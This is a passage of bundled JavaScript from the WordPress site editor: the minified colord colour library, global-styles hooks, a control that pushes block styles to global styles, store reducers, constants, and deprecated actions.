const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
;// ./node_modules/colord/index.mjs
var r={grad:.9,turn:360,rad:360/(2*Math.PI)},t=function(r){return"string"==typeof r?r.length>0:"number"==typeof r},n=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*r)/n+0},e=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),r>n?n:r>t?r:t},u=function(r){return(r=isFinite(r)?r%360:0)>0?r:r+360},a=function(r){return{r:e(r.r,0,255),g:e(r.g,0,255),b:e(r.b,0,255),a:e(r.a)}},o=function(r){return{r:n(r.r),g:n(r.g),b:n(r.b),a:n(r.a,3)}},i=/^#([0-9a-f]{3,8})$/i,s=function(r){var t=r.toString(16);return t.length<2?"0"+t:t},h=function(r){var t=r.r,n=r.g,e=r.b,u=r.a,a=Math.max(t,n,e),o=a-Math.min(t,n,e),i=o?a===t?(n-e)/o:a===n?2+(e-t)/o:4+(t-n)/o:0;return{h:60*(i<0?i+6:i),s:a?o/a*100:0,v:a/255*100,a:u}},b=function(r){var t=r.h,n=r.s,e=r.v,u=r.a;t=t/360*6,n/=100,e/=100;var a=Math.floor(t),o=e*(1-n),i=e*(1-(t-a)*n),s=e*(1-(1-t+a)*n),h=a%6;return{r:255*[e,i,o,o,s,e][h],g:255*[s,e,e,i,o,o][h],b:255*[o,o,s,e,e,i][h],a:u}},g=function(r){return{h:u(r.h),s:e(r.s,0,100),l:e(r.l,0,100),a:e(r.a)}},d=function(r){return{h:n(r.h),s:n(r.s),l:n(r.l),a:n(r.a,3)}},f=function(r){return b((n=(t=r).s,{h:t.h,s:(n*=((e=t.l)<50?e:100-e)/100)>0?2*n/(e+n)*100:0,v:e+n,a:t.a}));var t,n,e},c=function(r){return{h:(t=h(r)).h,s:(u=(200-(n=t.s))*(e=t.v)/100)>0&&u<200?n*e/100/(u<=100?u:200-u)*100:0,l:u/2,a:t.a};var t,n,e,u},l=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,colord_p=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,v=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,m=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,y={string:[[function(r){var t=i.exec(r);return t?(r=t[1]).length<=4?{r:parseInt(r[0]+r[0],16),g:parseInt(r[1]+r[1],16),b:parseInt(r[2]+r[2],16),a:4===r.length?n(parseInt(r[3]+r[3],16)/255,2):1}:6===r.length||8===r.length?{r:parseInt(r.substr(0,2),16),g:parseInt(r.substr(2,2),16),b:parseInt(r.substr(4,2),16),a:8===r.length?n(parseInt(r.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(r){var t=v.exec(r)||m.exec(r);return t?t[2]!==t[4]||t[4]!==t[6]?null:a({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(t){var n=l.exec(t)||colord_p.exec(t);if(!n)return null;var e,u,a=g({h:(e=n[1],u=n[2],void 0===u&&(u="deg"),Number(e)*(r[u]||1)),s:Number(n[3]),l:Number(n[4]),a:void 0===n[5]?1:Number(n[5])/(n[6]?100:1)});return f(a)},"hsl"]],object:[[function(r){var n=r.r,e=r.g,u=r.b,o=r.a,i=void 0===o?1:o;return t(n)&&t(e)&&t(u)?a({r:Number(n),g:Number(e),b:Number(u),a:Number(i)}):null},"rgb"],[function(r){var n=r.h,e=r.s,u=r.l,a=r.a,o=void 0===a?1:a;if(!t(n)||!t(e)||!t(u))return null;var i=g({h:Number(n),s:Number(e),l:Number(u),a:Number(o)});return f(i)},"hsl"],[function(r){var n=r.h,a=r.s,o=r.v,i=r.a,s=void 0===i?1:i;if(!t(n)||!t(a)||!t(o))return null;var h=function(r){return{h:u(r.h),s:e(r.s,0,100),v:e(r.v,0,100),a:e(r.a)}}({h:Number(n),s:Number(a),v:Number(o),a:Number(s)});return b(h)},"hsv"]]},N=function(r,t){for(var n=0;n<t.length;n++){var e=t[n][0](r);if(e)return[e,t[n][1]]}return[null,void 0]},x=function(r){return"string"==typeof r?N(r.trim(),y.string):"object"==typeof r&&null!==r?N(r,y.object):[null,void 0]},I=function(r){return x(r)[1]},M=function(r,t){var n=c(r);return{h:n.h,s:e(n.s+100*t,0,100),l:n.l,a:n.a}},H=function(r){return(299*r.r+587*r.g+114*r.b)/1e3/255},$=function(r,t){var n=c(r);return{h:n.h,s:n.s,l:e(n.l+100*t,0,100),a:n.a}},colord_j=function(){function r(r){this.parsed=x(r)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return r.prototype.isValid=function(){return null!==this.parsed},r.prototype.brightness=function(){return n(H(this.rgba),2)},r.prototype.isDark=function(){return H(this.rgba)<.5},r.prototype.isLight=function(){return H(this.rgba)>=.5},r.prototype.toHex=function(){return r=o(this.rgba),t=r.r,e=r.g,u=r.b,i=(a=r.a)<1?s(n(255*a)):"","#"+s(t)+s(e)+s(u)+i;var r,t,e,u,a,i},r.prototype.toRgb=function(){return o(this.rgba)},r.prototype.toRgbString=function(){return r=o(this.rgba),t=r.r,n=r.g,e=r.b,(u=r.a)<1?"rgba("+t+", "+n+", "+e+", "+u+")":"rgb("+t+", "+n+", "+e+")";var r,t,n,e,u},r.prototype.toHsl=function(){return d(c(this.rgba))},r.prototype.toHslString=function(){return r=d(c(this.rgba)),t=r.h,n=r.s,e=r.l,(u=r.a)<1?"hsla("+t+", "+n+"%, "+e+"%, "+u+")":"hsl("+t+", "+n+"%, "+e+"%)";var r,t,n,e,u},r.prototype.toHsv=function(){return r=h(this.rgba),{h:n(r.h),s:n(r.s),v:n(r.v),a:n(r.a,3)};var r},r.prototype.invert=function(){return w({r:255-(r=this.rgba).r,g:255-r.g,b:255-r.b,a:r.a});var r},r.prototype.saturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,r))},r.prototype.desaturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,-r))},r.prototype.grayscale=function(){return w(M(this.rgba,-1))},r.prototype.lighten=function(r){return void 0===r&&(r=.1),w($(this.rgba,r))},r.prototype.darken=function(r){return void 0===r&&(r=.1),w($(this.rgba,-r))},r.prototype.rotate=function(r){return void 0===r&&(r=15),this.hue(this.hue()+r)},r.prototype.alpha=function(r){return"number"==typeof r?w({r:(t=this.rgba).r,g:t.g,b:t.b,a:r}):n(this.rgba.a,3);var t},r.prototype.hue=function(r){var t=c(this.rgba);return"number"==typeof r?w({h:r,s:t.s,l:t.l,a:t.a}):n(t.h)},r.prototype.isEqual=function(r){return this.toHex()===w(r).toHex()},r}(),w=function(r){return r instanceof colord_j?r:new colord_j(r)},S=[],k=function(r){r.forEach(function(r){S.indexOf(r)<0&&(r(colord_j,y),S.push(r))})},E=function(){return new colord_j({r:255*Math.random(),g:255*Math.random(),b:255*Math.random()})};
;// ./node_modules/colord/plugins/a11y.mjs
var a11y_o=function(o){var t=o/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},a11y_t=function(t){return.2126*a11y_o(t.r)+.7152*a11y_o(t.g)+.0722*a11y_o(t.b)};/* harmony default export */ function a11y(o){o.prototype.luminance=function(){return o=a11y_t(this.rgba),void 0===(r=2)&&(r=0),void 0===n&&(n=Math.pow(10,r)),Math.round(n*o)/n+0;var o,r,n},o.prototype.contrast=function(r){void 0===r&&(r="#FFF");var n,a,i,e,v,u,d,c=r instanceof o?r:new o(r);return e=this.rgba,v=c.toRgb(),u=a11y_t(e),d=a11y_t(v),n=u>d?(u+.05)/(d+.05):(d+.05)/(u+.05),void 0===(a=2)&&(a=0),void 0===i&&(i=Math.pow(10,a)),Math.floor(i*n)/i+0},o.prototype.isReadable=function(o,t){return void 0===o&&(o="#FFF"),void 0===t&&(t={}),this.contrast(o)>=(e=void 0===(i=(r=t).size)?"normal":i,"AAA"===(a=void 0===(n=r.level)?"AA":n)&&"normal"===e?7:"AA"===a&&"large"===e?3:4.5);var r,n,a,i,e}}
;// external ["wp","privateApis"]
const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
;// ./node_modules/@wordpress/edit-site/build-module/lock-unlock.js
/**
* WordPress dependencies
*/
const {
lock,
unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/edit-site');
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/hooks.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting,
useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
// Enable colord's a11y plugin.
k([a11y]);
function useColorRandomizer(name) {
const [themeColors, setThemeColors] = useGlobalSetting('color.palette.theme', name);
function randomizeColors() {
/* eslint-disable no-restricted-syntax */
const randomRotationValue = Math.floor(Math.random() * 225);
/* eslint-enable no-restricted-syntax */
const newColors = themeColors.map(colorObject => {
const {
color
} = colorObject;
const newColor = w(color).rotate(randomRotationValue).toHex();
return {
...colorObject,
color: newColor
};
});
setThemeColors(newColors);
}
return window.__experimentalEnableColorRandomizer ? [randomizeColors] : [];
}
function useStylesPreviewColors() {
const [textColor = 'black'] = useGlobalStyle('color.text');
const [backgroundColor = 'white'] = useGlobalStyle('color.background');
const [headingColor = textColor] = useGlobalStyle('elements.h1.color.text');
const [linkColor = headingColor] = useGlobalStyle('elements.link.color.text');
const [buttonBackgroundColor = linkColor] = useGlobalStyle('elements.button.color.background');
const [coreColors] = useGlobalSetting('color.palette.core');
const [themeColors] = useGlobalSetting('color.palette.theme');
const [customColors] = useGlobalSetting('color.palette.custom');
const paletteColors = (themeColors !== null && themeColors !== void 0 ? themeColors : []).concat(customColors !== null && customColors !== void 0 ? customColors : []).concat(coreColors !== null && coreColors !== void 0 ? coreColors : []);
const textColorObject = paletteColors.filter(({
color
}) => color === textColor);
const buttonBackgroundColorObject = paletteColors.filter(({
color
}) => color === buttonBackgroundColor);
const highlightedColors = textColorObject.concat(buttonBackgroundColorObject).concat(paletteColors).filter(
// we exclude these background color because it is already visible in the preview.
({
color
}) => color !== backgroundColor).slice(0, 2);
return {
paletteColors,
highlightedColors
};
}
function useSupportedStyles(name, element) {
const {
supportedPanels
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
return {
supportedPanels: unlock(select(external_wp_blocks_namespaceObject.store)).getSupportedStyles(name, element)
};
}, [name, element]);
return supportedPanels;
}
;// ./node_modules/@wordpress/edit-site/build-module/utils/set-nested-value.js
/**
* Sets the value at path of object.
* If a portion of path doesn’t exist, it’s created.
* Arrays are created for missing index properties while objects are created
* for all other missing properties.
*
* This function intentionally mutates the input object.
*
* Inspired by _.set().
*
* @see https://lodash.com/docs/4.17.15#set
*
* @todo Needs to be deduplicated with its copy in `@wordpress/core-data`.
*
* @param {Object} object Object to modify
* @param {Array} path Path of the property to set.
* @param {*} value Value to set.
*/
function setNestedValue(object, path, value) {
if (!object || typeof object !== 'object') {
return object;
}
path.reduce((acc, key, idx) => {
if (acc[key] === undefined) {
if (Number.isInteger(path[idx + 1])) {
acc[key] = [];
} else {
acc[key] = {};
}
}
if (idx === path.length - 1) {
acc[key] = value;
}
return acc[key];
}, object);
return object;
}
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/edit-site/build-module/hooks/push-changes-to-global-styles/index.js
/* wp:polyfill */
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
cleanEmptyObject,
GlobalStylesContext
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
// Block Gap is a special case and isn't defined within the blocks
// style properties config. We'll add it here to allow it to be pushed
// to global styles as well.
const STYLE_PROPERTY = {
...external_wp_blocks_namespaceObject.__EXPERIMENTAL_STYLE_PROPERTY,
blockGap: {
value: ['spacing', 'blockGap']
}
};
// TODO: Temporary duplication of constant in @wordpress/block-editor. Can be
// removed by moving PushChangesToGlobalStylesControl to
// @wordpress/block-editor.
const STYLE_PATH_TO_CSS_VAR_INFIX = {
'border.color': 'color',
'color.background': 'color',
'color.text': 'color',
'elements.link.color.text': 'color',
'elements.link.:hover.color.text': 'color',
'elements.link.typography.fontFamily': 'font-family',
'elements.link.typography.fontSize': 'font-size',
'elements.button.color.text': 'color',
'elements.button.color.background': 'color',
'elements.button.typography.fontFamily': 'font-family',
'elements.button.typography.fontSize': 'font-size',
'elements.caption.color.text': 'color',
'elements.heading.color': 'color',
'elements.heading.color.background': 'color',
'elements.heading.typography.fontFamily': 'font-family',
'elements.heading.gradient': 'gradient',
'elements.heading.color.gradient': 'gradient',
'elements.h1.color': 'color',
'elements.h1.color.background': 'color',
'elements.h1.typography.fontFamily': 'font-family',
'elements.h1.color.gradient': 'gradient',
'elements.h2.color': 'color',
'elements.h2.color.background': 'color',
'elements.h2.typography.fontFamily': 'font-family',
'elements.h2.color.gradient': 'gradient',
'elements.h3.color': 'color',
'elements.h3.color.background': 'color',
'elements.h3.typography.fontFamily': 'font-family',
'elements.h3.color.gradient': 'gradient',
'elements.h4.color': 'color',
'elements.h4.color.background': 'color',
'elements.h4.typography.fontFamily': 'font-family',
'elements.h4.color.gradient': 'gradient',
'elements.h5.color': 'color',
'elements.h5.color.background': 'color',
'elements.h5.typography.fontFamily': 'font-family',
'elements.h5.color.gradient': 'gradient',
'elements.h6.color': 'color',
'elements.h6.color.background': 'color',
'elements.h6.typography.fontFamily': 'font-family',
'elements.h6.color.gradient': 'gradient',
'color.gradient': 'gradient',
blockGap: 'spacing',
'typography.fontSize': 'font-size',
'typography.fontFamily': 'font-family'
};
// TODO: Temporary duplication of constant in @wordpress/block-editor. Can be
// removed by moving PushChangesToGlobalStylesControl to
// @wordpress/block-editor.
const STYLE_PATH_TO_PRESET_BLOCK_ATTRIBUTE = {
'border.color': 'borderColor',
'color.background': 'backgroundColor',
'color.text': 'textColor',
'color.gradient': 'gradient',
'typography.fontSize': 'fontSize',
'typography.fontFamily': 'fontFamily'
};
const SUPPORTED_STYLES = ['border', 'color', 'spacing', 'typography'];
const getValueFromObjectPath = (object, path) => {
let value = object;
path.forEach(fieldName => {
value = value?.[fieldName];
});
return value;
};
const flatBorderProperties = ['borderColor', 'borderWidth', 'borderStyle'];
const sides = ['top', 'right', 'bottom', 'left'];
function getBorderStyleChanges(border, presetColor, userStyle) {
if (!border && !presetColor) {
return [];
}
const changes = [...getFallbackBorderStyleChange('top', border, userStyle), ...getFallbackBorderStyleChange('right', border, userStyle), ...getFallbackBorderStyleChange('bottom', border, userStyle), ...getFallbackBorderStyleChange('left', border, userStyle)];
// Handle a flat border i.e. all sides the same, CSS shorthand.
const {
color: customColor,
style,
width
} = border || {};
const hasColorOrWidth = presetColor || customColor || width;
if (hasColorOrWidth && !style) {
// Global Styles need individual side configurations to overcome
// theme.json configurations which are per side as well.
sides.forEach(side => {
// Only add fallback border-style if global styles don't already
// have something set.
if (!userStyle?.[side]?.style) {
changes.push({
path: ['border', side, 'style'],
value: 'solid'
});
}
});
}
return changes;
}
function getFallbackBorderStyleChange(side, border, globalBorderStyle) {
if (!border?.[side] || globalBorderStyle?.[side]?.style) {
return [];
}
const {
color,
style,
width
} = border[side];
const hasColorOrWidth = color || width;
if (!hasColorOrWidth || style) {
return [];
}
return [{
path: ['border', side, 'style'],
value: 'solid'
}];
}
function useChangesToPush(name, attributes, userConfig) {
const supports = useSupportedStyles(name);
const blockUserConfig = userConfig?.styles?.blocks?.[name];
return (0,external_wp_element_namespaceObject.useMemo)(() => {
const changes = supports.flatMap(key => {
if (!STYLE_PROPERTY[key]) {
return [];
}
const {
value: path
} = STYLE_PROPERTY[key];
const presetAttributeKey = path.join('.');
const presetAttributeValue = attributes[STYLE_PATH_TO_PRESET_BLOCK_ATTRIBUTE[presetAttributeKey]];
const value = presetAttributeValue ? `var:preset|${STYLE_PATH_TO_CSS_VAR_INFIX[presetAttributeKey]}|${presetAttributeValue}` : getValueFromObjectPath(attributes.style, path);
// Links only have a single support entry but have two element
// style properties, color and hover color. The following check
// will add the hover color to the changes if required.
if (key === 'linkColor') {
const linkChanges = value ? [{
path,
value
}] : [];
const hoverPath = ['elements', 'link', ':hover', 'color', 'text'];
const hoverValue = getValueFromObjectPath(attributes.style, hoverPath);
if (hoverValue) {
linkChanges.push({
path: hoverPath,
value: hoverValue
});
}
return linkChanges;
}
// The shorthand border styles can't be mapped directly as global
// styles requires longhand config.
if (flatBorderProperties.includes(key) && value) {
// The shorthand config path is included to clear the block attribute.
const borderChanges = [{
path,
value
}];
sides.forEach(side => {
const currentPath = [...path];
currentPath.splice(-1, 0, side);
borderChanges.push({
path: currentPath,
value
});
});
return borderChanges;
}
return value ? [{
path,
value
}] : [];
});
// To ensure display of a visible border, global styles require a
// default border style if a border color or width is present.
getBorderStyleChanges(attributes.style?.border, attributes.borderColor, blockUserConfig?.border).forEach(change => changes.push(change));
return changes;
}, [supports, attributes, blockUserConfig]);
}
function PushChangesToGlobalStylesControl({
name,
attributes,
setAttributes
}) {
const {
user: userConfig,
setUserConfig
} = (0,external_wp_element_namespaceObject.useContext)(GlobalStylesContext);
const changes = useChangesToPush(name, attributes, userConfig);
const {
__unstableMarkNextChangeAsNotPersistent
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
const {
createSuccessNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const pushChanges = (0,external_wp_element_namespaceObject.useCallback)(() => {
if (changes.length === 0) {
return;
}
if (changes.length > 0) {
const {
style: blockStyles
} = attributes;
const newBlockStyles = structuredClone(blockStyles);
const newUserConfig = structuredClone(userConfig);
for (const {
path,
value
} of changes) {
setNestedValue(newBlockStyles, path, undefined);
setNestedValue(newUserConfig, ['styles', 'blocks', name, ...path], value);
}
const newBlockAttributes = {
borderColor: undefined,
backgroundColor: undefined,
textColor: undefined,
gradient: undefined,
fontSize: undefined,
fontFamily: undefined,
style: cleanEmptyObject(newBlockStyles)
};
// @wordpress/core-data doesn't support editing multiple entity types in
// a single undo level. So for now, we disable @wordpress/core-data undo
// tracking and implement our own Undo button in the snackbar
// notification.
__unstableMarkNextChangeAsNotPersistent();
setAttributes(newBlockAttributes);
setUserConfig(newUserConfig, {
undoIgnore: true
});
createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Title of the block e.g. 'Heading'.
(0,external_wp_i18n_namespaceObject.__)('%s styles applied.'), (0,external_wp_blocks_namespaceObject.getBlockType)(name).title), {
type: 'snackbar',
actions: [{
label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
onClick() {
__unstableMarkNextChangeAsNotPersistent();
setAttributes(attributes);
setUserConfig(userConfig, {
undoIgnore: true
});
}
}]
});
}
}, [__unstableMarkNextChangeAsNotPersistent, attributes, changes, createSuccessNotice, name, setAttributes, setUserConfig, userConfig]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.BaseControl, {
__nextHasNoMarginBottom: true,
className: "edit-site-push-changes-to-global-styles-control",
help: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Title of the block e.g. 'Heading'.
(0,external_wp_i18n_namespaceObject.__)('Apply this block’s typography, spacing, dimensions, and color styles to all %s blocks.'), (0,external_wp_blocks_namespaceObject.getBlockType)(name).title),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Styles')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "secondary",
accessibleWhenDisabled: true,
disabled: changes.length === 0,
onClick: pushChanges,
children: (0,external_wp_i18n_namespaceObject.__)('Apply globally')
})]
});
}
function PushChangesToGlobalStyles(props) {
const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
const isBlockBasedTheme = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme, []);
const supportsStyles = SUPPORTED_STYLES.some(feature => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(props.name, feature));
const isDisplayed = blockEditingMode === 'default' && supportsStyles && isBlockBasedTheme;
if (!isDisplayed) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorAdvancedControls, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PushChangesToGlobalStylesControl, {
...props
})
});
}
const withPushChangesToGlobalStyles = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, {
...props
}, "edit"), props.isSelected && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PushChangesToGlobalStyles, {
...props
})]
}));
(0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/edit-site/push-changes-to-global-styles', withPushChangesToGlobalStyles);
;// ./node_modules/@wordpress/edit-site/build-module/hooks/index.js
/**
* Internal dependencies
*/
;// ./node_modules/@wordpress/edit-site/build-module/store/reducer.js
/**
* WordPress dependencies
*/
/**
* Reducer returning the settings.
*
* @param {Object} state Current state.
* @param {Object} action Dispatched action.
*
* @return {Object} Updated state.
*/
function settings(state = {}, action) {
switch (action.type) {
case 'UPDATE_SETTINGS':
return {
...state,
...action.settings
};
}
return state;
}
/**
* Reducer keeping track of the currently edited Post Type,
* Post Id and the context provided to fill the content of the block editor.
*
* @param {Object} state Current edited post.
* @param {Object} action Dispatched action.
*
* @return {Object} Updated state.
*/
function editedPost(state = {}, action) {
switch (action.type) {
case 'SET_EDITED_POST':
return {
postType: action.postType,
id: action.id,
context: action.context
};
case 'SET_EDITED_POST_CONTEXT':
return {
...state,
context: action.context
};
}
return state;
}
/**
* Reducer to set the save view panel open or closed.
*
* @param {Object} state Current state.
* @param {Object} action Dispatched action.
*/
function saveViewPanel(state = false, action) {
switch (action.type) {
case 'SET_IS_SAVE_VIEW_OPENED':
return action.isOpen;
}
return state;
}
/**
* Reducer used to track the site editor canvas container view.
* Default is `undefined`, denoting the default, visual block editor.
* This could be, for example, `'style-book'` (the style book).
*
* @param {string|undefined} state Current state.
* @param {Object} action Dispatched action.
*/
function editorCanvasContainerView(state = undefined, action) {
switch (action.type) {
case 'SET_EDITOR_CANVAS_CONTAINER_VIEW':
return action.view;
}
return state;
}
function routes(state = [], action) {
switch (action.type) {
case 'REGISTER_ROUTE':
return [...state, action.route];
case 'UNREGISTER_ROUTE':
return state.filter(route => route.name !== action.name);
}
return state;
}
/* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
settings,
editedPost,
saveViewPanel,
editorCanvasContainerView,
routes
}));
;// external ["wp","patterns"]
const external_wp_patterns_namespaceObject = window["wp"]["patterns"];
;// ./node_modules/@wordpress/edit-site/build-module/utils/constants.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
// Navigation
const NAVIGATION_POST_TYPE = 'wp_navigation';
// Templates.
const TEMPLATE_POST_TYPE = 'wp_template';
const TEMPLATE_PART_POST_TYPE = 'wp_template_part';
const TEMPLATE_ORIGINS = {
custom: 'custom',
theme: 'theme',
plugin: 'plugin'
};
const TEMPLATE_PART_AREA_DEFAULT_CATEGORY = 'uncategorized';
const TEMPLATE_PART_ALL_AREAS_CATEGORY = 'all-parts';
// Patterns.
const {
PATTERN_TYPES,
PATTERN_DEFAULT_CATEGORY,
PATTERN_USER_CATEGORY,
EXCLUDED_PATTERN_SOURCES,
PATTERN_SYNC_TYPES
} = unlock(external_wp_patterns_namespaceObject.privateApis);
// Entities that are editable in focus mode.
const FOCUSABLE_ENTITIES = [TEMPLATE_PART_POST_TYPE, NAVIGATION_POST_TYPE, PATTERN_TYPES.user];
const POST_TYPE_LABELS = {
[TEMPLATE_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)('Template'),
[TEMPLATE_PART_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)('Template part'),
[PATTERN_TYPES.user]: (0,external_wp_i18n_namespaceObject.__)('Pattern'),
[NAVIGATION_POST_TYPE]: (0,external_wp_i18n_namespaceObject.__)('Navigation')
};
// DataViews constants
const LAYOUT_GRID = 'grid';
const LAYOUT_TABLE = 'table';
const LAYOUT_LIST = 'list';
const OPERATOR_IS = 'is';
const OPERATOR_IS_NOT = 'isNot';
const OPERATOR_IS_ANY = 'isAny';
const OPERATOR_IS_NONE = 'isNone';
;// ./node_modules/@wordpress/edit-site/build-module/store/actions.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);
/**
* Dispatches an action that toggles a feature flag.
*
* @param {string} featureName Feature name.
*/
function toggleFeature(featureName) {
return function ({
registry
}) {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).toggleFeature( featureName )", {
since: '6.0',
alternative: "dispatch( 'core/preferences').toggle( 'core/edit-site', featureName )"
});
registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core/edit-site', featureName);
};
}
/**
* Action that changes the width of the editing canvas.
*
* @deprecated
*
* @param {string} deviceType
*
* @return {Object} Action object.
*/
const __experimentalSetPreviewDeviceType = deviceType => ({
registry
}) => {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).__experimentalSetPreviewDeviceType", {
since: '6.5',
version: '6.7',
hint: 'registry.dispatch( editorStore ).setDeviceType'
});
registry.dispatch(external_wp_editor_namespaceObject.store).setDeviceType(deviceType);
};
/**
* Action that sets a template, optionally fetching it from REST API.
*
* @return {Object} Action object.
*/
function setTemplate() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setTemplate", {
since: '6.5',
version: '6.8',
hint: 'The setTemplate is not needed anymore, the correct entity is resolved from the URL automatically.'
});
return {
type: 'NOTHING'
};
}
/**
* Action that adds a new template and sets it as the current template.
*
* @param {Object} template The template.
*
* @deprecated
*
* @return {Object} Action object used to set the current template.
*/
const addTemplate = template => async ({
dispatch,
registry
}) => {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).addTemplate", {
since: '6.5',
version: '6.8',
hint: 'use saveEntityRecord directly'
});
const newTemplate = await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEntityRecord('postType', TEMPLATE_POST_TYPE, template);
if (template.content) {
registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', TEMPLATE_POST_TYPE, newTemplate.id, {
blocks: (0,external_wp_blocks_namespaceObject.parse)(template.content)
}, {
undoIgnore: true
});
}
dispatch({
type: 'SET_EDITED_POST',
postType: TEMPLATE_POST_TYPE,
id: newTemplate.id
});
};
/**
* Action that removes a template.
*
* @param {Object} template The template object.
*/
const removeTemplate = template => ({
registry
}) => {
return unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).removeTemplates([template]);
};
/**
* Action that sets a template part.
*
* @deprecated
* @param {string} templatePartId The template part ID.
*
* @return {Object} Action object.
*/
function setTemplatePart(templatePartId) {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setTemplatePart", {
since: '6.8'
});
return {
type: 'SET_EDITED_POST',
postType: TEMPLATE_PART_POST_TYPE,
id: templatePartId
};
}
/**
* Action that sets a navigation menu.
*
* @deprecated
* @param {string} navigationMenuId The Navigation Menu Post ID.
*
* @return {Object} Action object.
*/
function setNavigationMenu(navigationMenuId) {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setNavigationMenu", {
since: '6.8'
});
return {
type: 'SET_EDITED_POST',
postType: NAVIGATION_POST_TYPE,
id: navigationMenuId
};
}
/**
* Action that sets an edited entity.
*
* @deprecated
* @param {string} postType The entity's post type.
* @param {string} postId The entity's ID.
* @param {Object} context The entity's context.
*
* @return {Object} Action object.
*/
function setEditedEntity(postType, postId, context) {
return {
type: 'SET_EDITED_POST',
postType,
id: postId,
context
};
}
/**
* @deprecated
*/
function setHomeTemplateId() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setHomeTemplateId", {
since: '6.2',
version: '6.4'
});
return {
type: 'NOTHING'
};
}
/**
* Set's the current block editor context.
*
* @deprecated
* @param {Object} context The context object.
*
* @return {Object} Action object.
*/
function setEditedPostContext(context) {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setEditedPostContext", {
since: '6.8'
});
return {
type: 'SET_EDITED_POST_CONTEXT',
context
};
}
/**
* Resolves the template for a page and displays both. If no path is given, attempts
* to use the postId to generate a path like `?p=${ postId }`.
*
* @deprecated
*
* @return {Object} Action object.
*/
